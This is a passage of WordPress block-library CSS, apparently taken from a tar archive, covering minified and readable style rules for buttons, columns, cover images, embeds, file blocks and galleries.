a{padding-right:.66667em;padding-left:.66667em}.wp-block-spacer{clear:both}p.wp-block-subhead{font-size:1.1em;font-style:italic;opacity:.75}.wp-block-tag-cloud.aligncenter{text-align:center}.wp-block-tag-cloud.alignfull{padding-right:1em;padding-left:1em}.wp-block-table{overflow-x:auto}.wp-block-table table{width:100%}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{border-spacing:0;border-collapse:inherit;background-color:transparent;border-bottom:1px solid #f0f0f0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:transparent}.wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-right:0}.wp-block-text-columns .wp-block-column:last-child{margin-left:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.33333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%}pre.wp-block-verse{font-family:inherit;overflow:auto;white-space:pre-wrap}.wp-block-video{margin-right:0;margin-left:0}.wp-block-video video{width:100%}@supports ((position:-webkit-sticky) or (position:sticky)){.wp-block-video [poster]{-o-object-fit:cover;object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-post-featured-image a{display:inline-block}.wp-block-post-featured-image img{max-width:100%;height:auto}:root .has-pale-pink-background-color{background-color:#f78da7}:root .has-vivid-red-background-color{background-color:#cf2e2e}:root .has-luminous-vivid-orange-background-color{background-color:#ff6900}:root .has-luminous-vivid-amber-background-color{background-color:#fcb900}:root .has-light-green-cyan-background-color{background-color:#7bdcb5}:root .has-vivid-green-cyan-background-color{background-color:#00d084}:root .has-pale-cyan-blue-background-color{background-color:#8ed1fc}:root .has-vivid-cyan-blue-background-color{background-color:#0693e3}:root .has-vivid-purple-background-color{background-color:#9b51e0}:root .has-white-background-color{background-color:#fff}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-cyan-bluish-gray-background-color{background-color:#abb8c3}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-black-background-color{background-color:#000}:root .has-pale-pink-color{color:#f78da7}:root .has-vivid-red-color{color:#cf2e2e}:root .has-luminous-vivid-orange-color{color:#ff6900}:root .has-luminous-vivid-amber-color{color:#fcb900}:root .has-light-green-cyan-color{color:#7bdcb5}:root .has-vivid-green-cyan-color{color:#00d084}:root .has-pale-cyan-blue-color{color:#8ed1fc}:root .has-vivid-cyan-blue-color{color:#0693e3}:root .has-vivid-purple-color{color:#9b51e0}:root .has-white-color{color:#fff}:root .has-very-light-gray-color{color:#eee}:root .has-cyan-bluish-gray-color{color:#abb8c3}:root .has-very-dark-gray-color{color:#313131}:root .has-black-color{color:#000}:root .has-vivid-cyan-blue-to-vivid-purple-gradient-background{background:linear-gradient(-135deg,#0693e3,#9b51e0)}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(-135deg,#00d084,#0693e3)}:root .has-light-green-cyan-to-vivid-green-cyan-gradient-background{background:linear-gradient(-135deg,#7adcb4,#00d082)}:root .has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background:linear-gradient(-135deg,#fcb900,#ff6900)}:root .has-luminous-vivid-orange-to-vivid-red-gradient-background{background:linear-gradient(-135deg,#ff6900,#cf2e2e)}:root .has-very-light-gray-to-cyan-bluish-gray-gradient-background{background:linear-gradient(-135deg,#eee,#a9b8c3)}:root .has-cool-to-warm-spectrum-gradient-background{background:linear-gradient(-135deg,#4aeadc,#9778d1 20%,#cf2aba 40%,#ee2c82 60%,#fb6962 80%,#fef84c)}:root .has-blush-light-purple-gradient-background{background:linear-gradient(-135deg,#ffceec,#9896f0)}:root .has-blush-bordeaux-gradient-background{background:linear-gradient(-135deg,#fecda5,#fe2d2d 50%,#6b003e)}:root .has-purple-crush-gradient-background{background:linear-gradient(-135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-luminous-dusk-gradient-background{background:linear-gradient(-135deg,#ffcb70,#c751c0 50%,#4158d0)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(-135deg,#faaca8,#dad0ec)}:root .has-pale-ocean-gradient-background{background:linear-gradient(-135deg,#fff5cb,#b6e3d4 50%,#33a7b5)}:root .has-electric-grass-gradient-background{background:linear-gradient(-135deg,#caf880,#71ce7e)}:root .has-subdued-olive-gradient-background{background:linear-gradient(-135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(-135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(-135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(-135deg,#020381,#2874fc)}:root .has-link-color a{color:#00e;color:var(--wp--style--color--link,#00e)}.has-small-font-size{font-size:.8125em}.has-normal-font-size,.has-regular-font-size{font-size:1em}.has-medium-font-size{font-size:1.25em}.has-large-font-size{font-size:2.25em}.has-huge-font-size,.has-larger-font-size{font-size:2.625em}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear:both}css/dist/block-library/style.css000064400000207260151202620300012703 0ustar00@charset "UTF-8"; /** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ #start-resizable-editor-section { display: none; } .wp-block-audio figcaption { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-audio audio { width: 100%; min-width: 300px; } .wp-block-button__link { color: #fff; background-color: #32373c; border: none; border-radius: 1.55em; box-shadow: none; cursor: pointer; display: inline-block; font-size: 1.125em; padding: 0.667em 1.333em; text-align: center; text-decoration: none; overflow-wrap: break-word; } .wp-block-button__link:hover, .wp-block-button__link:focus, .wp-block-button__link:active, .wp-block-button__link:visited { color: #fff; } .wp-block-button__link.aligncenter { text-align: center; } .wp-block-button__link.alignright { /*rtl:ignore*/ text-align: right; } .wp-block-buttons > .wp-block-button.has-custom-width { max-width: none; } .wp-block-buttons > .wp-block-button.has-custom-width .wp-block-button__link { width: 100%; } .wp-block-buttons > .wp-block-button.wp-block-button__width-25 { width: calc(25% - 0.5em); } .wp-block-buttons > .wp-block-button.wp-block-button__width-50 { width: calc(50% - 0.5em); } .wp-block-buttons > .wp-block-button.wp-block-button__width-75 { width: calc(75% - 0.5em); } .wp-block-buttons > .wp-block-button.wp-block-button__width-100 { margin-right: 0; width: 100%; } .wp-block-button.is-style-squared, .wp-block-button__link.wp-block-button.is-style-squared { border-radius: 0; } .wp-block-button.no-border-radius, .wp-block-button__link.no-border-radius { border-radius: 0 !important; } .is-style-outline > .wp-block-button__link, .wp-block-button__link.is-style-outline { border: 2px solid; } .is-style-outline > .wp-block-button__link:not(.has-text-color), .wp-block-button__link.is-style-outline:not(.has-text-color) { color: #32373c; } .is-style-outline > .wp-block-button__link:not(.has-background), .wp-block-button__link.is-style-outline:not(.has-background) { background-color: transparent; } .wp-block-buttons { display: flex; flex-direction: row; flex-wrap: wrap; /* stylelint-disable indentation */ } .wp-block-buttons.is-vertical { flex-direction: column; } .wp-block-buttons.is-vertical > .wp-block-button { /*rtl:ignore*/ margin-right: 0; } .wp-block-buttons.is-vertical > .wp-block-button:last-child { margin-bottom: 0; } .wp-block-buttons > .wp-block-button { display: inline-block; /*rtl:ignore*/ margin-left: 0; /*rtl:ignore*/ margin-right: 0.5em; margin-bottom: 0.5em; } .wp-block-buttons > .wp-block-button:last-child { /*rtl:ignore*/ margin-right: 0; } .wp-block-buttons.is-content-justification-left { justify-content: flex-start; } .wp-block-buttons.is-content-justification-left.is-vertical { align-items: flex-start; } .wp-block-buttons.is-content-justification-center { justify-content: center; } .wp-block-buttons.is-content-justification-center.is-vertical { align-items: center; } .wp-block-buttons.is-content-justification-right { justify-content: flex-end; } .wp-block-buttons.is-content-justification-right > .wp-block-button { /*rtl:ignore*/ margin-left: 0.5em; /*rtl:ignore*/ margin-right: 0; } .wp-block-buttons.is-content-justification-right > .wp-block-button:first-child { /*rtl:ignore*/ margin-left: 0; } .wp-block-buttons.is-content-justification-right.is-vertical { align-items: flex-end; } .wp-block-buttons.is-content-justification-space-between { justify-content: space-between; } .wp-block-buttons.aligncenter { text-align: center; } .wp-block-buttons.alignleft .wp-block-button { /*rtl:ignore*/ margin-left: 0; /*rtl:ignore*/ margin-right: 0.5em; } .wp-block-buttons.alignleft .wp-block-button:last-child { /*rtl:ignore*/ margin-right: 0; } .wp-block-buttons.alignright .wp-block-button { /*rtl:ignore*/ margin-right: 0; /*rtl:ignore*/ margin-left: 0.5em; } .wp-block-buttons.alignright .wp-block-button:first-child { /*rtl:ignore*/ margin-left: 0; } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block-button.aligncenter { /* stylelint-enable indentation */ margin-left: auto; margin-right: auto; margin-bottom: 0.5em; width: 100%; } .wp-block-calendar { text-align: center; } .wp-block-calendar th, .wp-block-calendar tbody td { padding: 0.25em; border: 1px solid #ddd; } .wp-block-calendar tfoot td { border: none; } .wp-block-calendar table { width: 100%; border-collapse: collapse; } .wp-block-calendar table th { font-weight: 400; background: #ddd; } .wp-block-calendar a { text-decoration: underline; } .wp-block-calendar table tbody, .wp-block-calendar table caption { color: #40464d; } .wp-block-categories.alignleft { /*rtl:ignore*/ margin-right: 2em; } .wp-block-categories.alignright { /*rtl:ignore*/ margin-left: 2em; } .wp-block-code code { display: block; white-space: pre-wrap; overflow-wrap: break-word; } .wp-block-columns { display: flex; margin-bottom: 1.75em; flex-wrap: wrap; /** * All Columns Alignment */ } @media (min-width: 782px) { .wp-block-columns { flex-wrap: nowrap; } } .wp-block-columns.has-background { padding: 1.25em 2.375em; } .wp-block-columns.are-vertically-aligned-top { align-items: flex-start; } .wp-block-columns.are-vertically-aligned-center { align-items: center; } .wp-block-columns.are-vertically-aligned-bottom { align-items: flex-end; } .wp-block-column { flex-grow: 1; min-width: 0; word-break: break-word; overflow-wrap: break-word; /** * Individual Column Alignment */ } @media (max-width: 599px) { .wp-block-column { flex-basis: 100% !important; } } @media (min-width: 600px) and (max-width: 781px) { .wp-block-column:not(:only-child) { flex-basis: calc(50% - 1em) !important; flex-grow: 0; } .wp-block-column:nth-child(even) { margin-left: 2em; } } @media (min-width: 782px) { .wp-block-column { flex-basis: 0; flex-grow: 1; } .wp-block-column[style*=flex-basis] { flex-grow: 0; } .wp-block-column:not(:first-child) { margin-left: 2em; } } .wp-block-column.is-vertically-aligned-top { align-self: flex-start; } .wp-block-column.is-vertically-aligned-center { -ms-grid-row-align: center; align-self: center; } .wp-block-column.is-vertically-aligned-bottom { align-self: flex-end; } .wp-block-column.is-vertically-aligned-top, .wp-block-column.is-vertically-aligned-center, .wp-block-column.is-vertically-aligned-bottom { width: 100%; } .wp-block-cover-image, .wp-block-cover { position: relative; background-size: cover; background-position: center center; min-height: 430px; width: 100%; display: flex; justify-content: center; align-items: center; padding: 1em; box-sizing: border-box; /** * Set a default background color for has-background-dim _unless_ it includes another * background-color class (e.g. has-green-background-color). The presence of another * background-color class implies that another style will provide the background color * for the overlay. * * See: * - Issue with background color specificity: https://github.com/WordPress/gutenberg/issues/26545 * - Issue with alternative fix: https://github.com/WordPress/gutenberg/issues/26545 */ } .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax { background-attachment: fixed; } @supports (-webkit-overflow-scrolling: touch) { .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax { background-attachment: scroll; } } @media (prefers-reduced-motion: reduce) { .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax { background-attachment: scroll; } } .wp-block-cover-image.is-repeated, .wp-block-cover.is-repeated { background-repeat: repeat; background-size: auto; } .wp-block-cover-image.has-background-dim:not([class*=-background-color]), .wp-block-cover.has-background-dim:not([class*=-background-color]) { background-color: #000; } .wp-block-cover-image.has-background-dim::before, .wp-block-cover.has-background-dim::before { content: ""; background-color: inherit; } .wp-block-cover-image.has-background-dim:not(.has-background-gradient)::before, .wp-block-cover-image .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim:not(.has-background-gradient)::before, .wp-block-cover .wp-block-cover__gradient-background { position: absolute; top: 0; left: 0; bottom: 0; right: 0; z-index: 1; opacity: 0.5; } .wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background { opacity: 0.1; } .wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background { opacity: 0.2; } .wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background { opacity: 0.3; } .wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background { opacity: 0.4; } .wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background { opacity: 0.5; } .wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background { opacity: 0.6; } .wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background { opacity: 0.7; } .wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background { opacity: 0.8; } .wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background { opacity: 0.9; } .wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background { opacity: 1; } .wp-block-cover-image.alignleft, .wp-block-cover-image.alignright, .wp-block-cover.alignleft, .wp-block-cover.alignright { max-width: 420px; width: 100%; } .wp-block-cover-image::after, .wp-block-cover::after { display: block; content: ""; font-size: 0; min-height: inherit; } @supports ((position: -webkit-sticky) or (position: sticky)) { .wp-block-cover-image::after, .wp-block-cover::after { content: none; } } .wp-block-cover-image.aligncenter, .wp-block-cover-image.alignleft, .wp-block-cover-image.alignright, .wp-block-cover.aligncenter, .wp-block-cover.alignleft, .wp-block-cover.alignright { display: flex; } .wp-block-cover-image .wp-block-cover__inner-container, .wp-block-cover .wp-block-cover__inner-container { width: 100%; z-index: 1; color: #fff; } .wp-block-cover-image p:not(.has-text-color), .wp-block-cover-image h1:not(.has-text-color), .wp-block-cover-image h2:not(.has-text-color), .wp-block-cover-image h3:not(.has-text-color), .wp-block-cover-image h4:not(.has-text-color), .wp-block-cover-image h5:not(.has-text-color), .wp-block-cover-image h6:not(.has-text-color), .wp-block-cover-image .wp-block-subhead:not(.has-text-color), .wp-block-cover p:not(.has-text-color), .wp-block-cover h1:not(.has-text-color), .wp-block-cover h2:not(.has-text-color), .wp-block-cover h3:not(.has-text-color), .wp-block-cover h4:not(.has-text-color), .wp-block-cover h5:not(.has-text-color), .wp-block-cover h6:not(.has-text-color), .wp-block-cover .wp-block-subhead:not(.has-text-color) { color: inherit; } .wp-block-cover-image.is-position-top-left, .wp-block-cover.is-position-top-left { align-items: flex-start; justify-content: flex-start; } .wp-block-cover-image.is-position-top-center, .wp-block-cover.is-position-top-center { align-items: flex-start; justify-content: center; } .wp-block-cover-image.is-position-top-right, .wp-block-cover.is-position-top-right { align-items: flex-start; justify-content: flex-end; } .wp-block-cover-image.is-position-center-left, .wp-block-cover.is-position-center-left { align-items: center; justify-content: flex-start; } .wp-block-cover-image.is-position-center-center, .wp-block-cover.is-position-center-center { align-items: center; justify-content: center; } .wp-block-cover-image.is-position-center-right, .wp-block-cover.is-position-center-right { align-items: center; justify-content: flex-end; } .wp-block-cover-image.is-position-bottom-left, .wp-block-cover.is-position-bottom-left { align-items: flex-end; justify-content: flex-start; } .wp-block-cover-image.is-position-bottom-center, .wp-block-cover.is-position-bottom-center { align-items: flex-end; justify-content: center; } .wp-block-cover-image.is-position-bottom-right, .wp-block-cover.is-position-bottom-right { align-items: flex-end; justify-content: flex-end; } .wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container { margin: 0; width: auto; } .wp-block-cover-image img.wp-block-cover__image-background, .wp-block-cover-image video.wp-block-cover__video-background, .wp-block-cover img.wp-block-cover__image-background, .wp-block-cover video.wp-block-cover__video-background { position: absolute; top: 0; left: 0; right: 0; bottom: 0; margin: 0; padding: 0; width: 100%; height: 100%; max-width: none; max-height: none; -o-object-fit: cover; object-fit: cover; outline: none; border: none; box-shadow: none; } .wp-block-cover__video-background { z-index: 0; } .wp-block-cover__image-background { z-index: 0; } section.wp-block-cover-image h2, .wp-block-cover-image-text, .wp-block-cover-text { color: #fff; } section.wp-block-cover-image h2 a, section.wp-block-cover-image h2 a:hover, section.wp-block-cover-image h2 a:focus, section.wp-block-cover-image h2 a:active, .wp-block-cover-image-text a, .wp-block-cover-image-text a:hover, .wp-block-cover-image-text a:focus, .wp-block-cover-image-text a:active, .wp-block-cover-text a, .wp-block-cover-text a:hover, .wp-block-cover-text a:focus, .wp-block-cover-text a:active { color: #fff; } .wp-block-cover-image .wp-block-cover.has-left-content { justify-content: flex-start; } .wp-block-cover-image .wp-block-cover.has-right-content { justify-content: flex-end; } section.wp-block-cover-image.has-left-content > h2, .wp-block-cover-image.has-left-content .wp-block-cover-image-text, .wp-block-cover.has-left-content .wp-block-cover-text { margin-left: 0; text-align: left; } section.wp-block-cover-image.has-right-content > h2, .wp-block-cover-image.has-right-content .wp-block-cover-image-text, .wp-block-cover.has-right-content .wp-block-cover-text { margin-right: 0; text-align: right; } section.wp-block-cover-image > h2, .wp-block-cover-image .wp-block-cover-image-text, .wp-block-cover .wp-block-cover-text { font-size: 2em; line-height: 1.25; z-index: 1; margin-bottom: 0; max-width: 840px; padding: 0.44em; text-align: center; } .wp-block[data-align=left] > [data-type="core/embed"], .wp-block[data-align=right] > [data-type="core/embed"], .wp-block-embed.alignleft, .wp-block-embed.alignright { max-width: 360px; width: 100%; } .wp-block[data-align=left] > [data-type="core/embed"] .wp-block-embed__wrapper, .wp-block[data-align=right] > [data-type="core/embed"] .wp-block-embed__wrapper, .wp-block-embed.alignleft .wp-block-embed__wrapper, .wp-block-embed.alignright .wp-block-embed__wrapper { min-width: 280px; } .wp-block-cover .wp-block-embed { min-width: 320px; min-height: 240px; } .wp-block-embed { margin-bottom: 1em; } .wp-block-embed figcaption { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-embed iframe { max-width: 100%; } .wp-block-embed__wrapper { position: relative; } .wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper::before { content: ""; display: block; padding-top: 50%; } .wp-embed-responsive .wp-has-aspect-ratio iframe { position: absolute; top: 0; right: 0; bottom: 0; left: 0; height: 100%; width: 100%; } .wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper::before { padding-top: 42.85%; } .wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper::before { padding-top: 50%; } .wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper::before { padding-top: 56.25%; } .wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper::before { padding-top: 75%; } .wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper::before { padding-top: 100%; } .wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper::before { padding-top: 177.77%; } .wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper::before { padding-top: 200%; } .wp-block-file { margin-bottom: 1.5em; } .wp-block-file.aligncenter { text-align: center; } .wp-block-file.alignright { /*rtl:ignore*/ text-align: right; } .wp-block-file .wp-block-file__button { background: #32373c; border-radius: 2em; color: #fff; font-size: 0.8em; padding: 0.5em 1em; } .wp-block-file a.wp-block-file__button { text-decoration: none; } .wp-block-file a.wp-block-file__button:hover, .wp-block-file a.wp-block-file__button:visited, .wp-block-file a.wp-block-file__button:focus, .wp-block-file a.wp-block-file__button:active { box-shadow: none; color: #fff; opacity: 0.85; text-decoration: none; } .wp-block-file * + .wp-block-file__button { margin-left: 0.75em; } .wp-block-gallery, .blocks-gallery-grid { display: flex; flex-wrap: wrap; list-style-type: none; padding: 0; margin: 0; } .wp-block-gallery .blocks-gallery-image, .wp-block-gallery .blocks-gallery-item, .blocks-gallery-grid .blocks-gallery-image, .blocks-gallery-grid .blocks-gallery-item { margin: 0 1em 1em 0; display: flex; flex-grow: 1; flex-direction: column; justify-content: center; position: relative; width: calc(50% - 1em); } .wp-block-gallery .blocks-gallery-image:nth-of-type(even), .wp-block-gallery .blocks-gallery-item:nth-of-type(even), .blocks-gallery-grid .blocks-gallery-image:nth-of-type(even), .blocks-gallery-grid .blocks-gallery-item:nth-of-type(even) { margin-right: 0; } .wp-block-gallery .blocks-gallery-image figure, .wp-block-gallery .blocks-gallery-item figure, .blocks-gallery-grid .blocks-gallery-image figure, .blocks-gallery-grid .blocks-gallery-item figure { margin: 0; height: 100%; } @supports ((position: -webkit-sticky) or (position: sticky)) { .wp-block-gallery .blocks-gallery-image figure, .wp-block-gallery .blocks-gallery-item figure, .blocks-gallery-grid .blocks-gallery-image figure, .blocks-gallery-grid .blocks-gallery-item figure { display: flex; align-items: flex-end; justify-content: flex-start; } } .wp-block-gallery .blocks-gallery-image img, .wp-block-gallery .blocks-gallery-item img, .blocks-gallery-grid .blocks-gallery-image img, .blocks-gallery-grid .blocks-gallery-item img { display: block; max-width: 100%; height: auto; width: 100%; } @supports ((position: -webkit-sticky) or (position: sticky)) { .wp-block-gallery .blocks-gallery-image img, .wp-block-gallery .blocks-gallery-item img, .blocks-gallery-grid .blocks-gallery-image img, .blocks-gallery-grid .blocks-gallery-item img { width: auto; } } .wp-block-gallery .blocks-gallery-image figcaption, .wp-block-gallery .blocks-gallery-item figcaption, .blocks-gallery-grid .blocks-gallery-image figcaption, .blocks-gallery-grid .blocks-gallery-item figcaption { position: absolute; bottom: 0; width: 100%; max-height: 100%; overflow: auto; padding: 3em 0.77em 0.7em; color: #fff; text-align: center; font-size: 0.8em; background: linear-gradient(0deg, rgba(0, 0, 0, 0.7) 0, rgba(0, 0, 0, 0.3) 70%, transparent); box-sizing: border-box; margin: 0; } .wp-block-gallery .blocks-gallery-image figcaption img, .wp-block-gallery .blocks-gallery-item figcaption img, .blocks-gallery-grid .blocks-gallery-image figcaption img, .blocks-gallery-grid .blocks-gallery-item figcaption img { display: inline; } .wp-block-gallery figcaption, .blocks-gallery-grid figcaption { flex-grow: 1; } .wp-block-gallery.is-cropped .blocks-gallery-image a, .wp-block-gallery.is-cropped .blocks-gallery-image img, .wp-block-gallery.is-cropped .blocks-gallery-item a, .wp-block-gallery.is-cropped .blocks-gallery-item img, .blocks-gallery-grid.is-cropped .blocks-gallery-image a, .blocks-gallery-grid.is-cropped .blocks-gallery-image img, .blocks-gallery-grid.is-cropped .blocks-gallery-item a, .blocks-gallery-grid.is-cropped .blocks-gallery-item img { width: 100%; } @supports ((position: -webkit-sticky) or (position: sticky)) { .wp-block-gallery.is-cropped .blocks-gallery-image a, .wp-block-gallery.is-cropped .blocks-gallery-image img, .wp-block-gallery.is-cropped .blocks-gallery-item a, .wp-block-gallery.is-cropped .blocks-gallery-item img, .blocks-gallery-grid.is-cropped .blocks-gallery-image a, .blocks-gallery-grid.is-cropped .blocks-gallery-image img, .blocks-gallery-grid.is-cropped .blocks-gallery-item a, .blocks-gallery-grid.is-cropped .blocks-gallery-item img { height: 100%; flex: 1; -o-object-fit: cover; object-fit: cover; } } .wp-block-gallery.columns-1 .blocks-gallery-image, .wp-block-gallery.columns-1 .blocks-gallery-item, .blocks-gallery-grid.columns-1 .blocks-gallery-image, .blocks-gallery-grid.columns-1 .blocks-gallery-item { width: 100%; margin-right: 0; } @media (min-width: 600px) { .wp-block-gallery.columns-3 .blocks-gallery-image, .wp-block-gallery.columns-3 .blocks-gallery-item, .blocks-gallery-grid.columns-3 .blocks-gallery-image, .blocks-gallery-grid.columns-3 .blocks-gallery-item { width: calc(33.3333333333% - 0.6666666667em); margin-right: 1em; } .wp-block-gallery.columns-4 .blocks-gallery-image, .wp-block-gallery.columns-4 .blocks-gallery-item, .blocks-gallery-grid.columns-4 .blocks-gallery-image, .blocks-gallery-grid.columns-4 .blocks-gallery-item { width: calc(25% - 0.75em); margin-right: 1em; } .wp-block-gallery.columns-5 .blocks-gallery-image, .wp-block-gallery.columns-5 .blocks-gallery-item, .blocks-gallery-grid.columns-5 .blocks-gallery-image, .blocks-gallery-grid.columns-5 .blocks-gallery-item { width: calc(20% - 0.8em); margin-right: 1em; } .wp-block-gallery.columns-6 .blocks-gallery-image, .wp-block-gallery.columns-6 .blocks-gallery-item, .blocks-gallery-grid.columns-6 .blocks-gallery-image, .blocks-gallery-grid.columns-6 .blocks-gallery-item { width: calc(16.6666666667% - 0.8333333333em); margin-right: 1em; } .wp-block-gallery.columns-7 .blocks-gallery-image, .wp-block-gallery.columns-7 .blocks-gallery-item, .blocks-gallery-grid.columns-7 .blocks-gallery-image, .blocks-gallery-grid.columns-7 .blocks-gallery-item { width: calc(14.2857142857% - 0.8571428571em); margin-right: 1em; } .wp-block-gallery.columns-8 .blocks-gallery-image, .wp-block-gallery.columns-8 .blocks-gallery-item, .blocks-gallery-grid.columns-8 .blocks-gallery-image, .blocks-gallery-grid.columns-8 .blocks-gallery-item { width: calc(12.5% - 0.875em); margin-right: 1em; } .wp-block-gallery.columns-1 .blocks-gallery-image:nth-of-type(1n), 